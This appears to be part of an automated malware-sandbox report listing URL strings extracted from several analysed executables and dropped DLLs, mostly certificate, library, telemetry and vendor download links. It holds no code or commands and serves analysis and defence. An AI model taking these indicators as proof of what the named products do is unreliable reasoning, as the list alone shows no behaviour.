Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://compositewpf.codeplex.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4157814355.0000028F42208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: run.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://dejavu.sourceforge.net
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://dejavu.sourceforge.net/wiki/index.php/License
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/Lic
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://download.iolo.net
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://download.iolo.net/ds/4/en/images/dsUSB.imaRealDefense
Source: run.exe, run.exe, 00000002.00000000.1770456148.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe, 00000002.00000002.1772861896.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe.0.dr	String found in binary or memory: http://gdlp01.c-wss.com/rmds/ic/universalinstaller/common/checkconnection
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F25641000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F255E3000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F2591F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gig-ai-prod-wus2-02-app-v4-tag.westus2.cloudapp.azure.com
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://google.com
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4157814355.0000028F42208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co;
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: run.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: run.exe.0.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: run.exe.0.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: run.exe.0.dr	String found in binary or memory: http://sf.symcd.com0&
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000003.2051507864.000000000264B000.00000004.00001000.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000003.2051507864.0000000002650000.00000004.00001000.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
Source: WSComm.log.4.dr	String found in binary or memory: http://svc.iolo.com/__svc/sbv/DownloadManager.ashx.
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155483058.0000028F3E780000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://svc.iolo.com/__svc/sbv/Uninstall.ashx
Source: run.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: run.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: run.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F25641000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F255E3000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F2591F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://westus2-2.in.applicationinsights.azure.com
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/CompositeWPF
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/DotNetZip
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/prism
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/prism#Microsoft.Practices.Prism.ViewModel
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000003.2051507864.00000000026D2000.00000004.00001000.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iolo.com/products/byepass/welcome/?utm_source=bp&utm_medium=product&p=d59cc353-e8e4-4f42-
Source: u5e0.0.exe, u5e0.0.exe, 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmp, mozglue.dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2165599125.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: run.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: run.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dc.services.visualstudio.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dc.services.visualstudio.com/Jhttps://rt.services.visualstudio.com/Fhttps://profiler.monitor
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dc.services.visualstudio.com/api/profiles/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dc.services.visualstudio.com/f
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.avira.com/download/
Source: ioloDMLog.txt.4.dr	String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe
Source: ioloDMLog.txt.4.dr	String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.
Source: u5e0.3.exe, 00000004.00000003.2051507864.0000000002694000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.6-
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4154999191.0000028F3E500000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4134808693.0000028F351DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/ApplicationInsights-dotnet
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4154999191.0000028F3E500000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4134808693.0000028F351DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/ApplicationInsights-dotnetw
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)
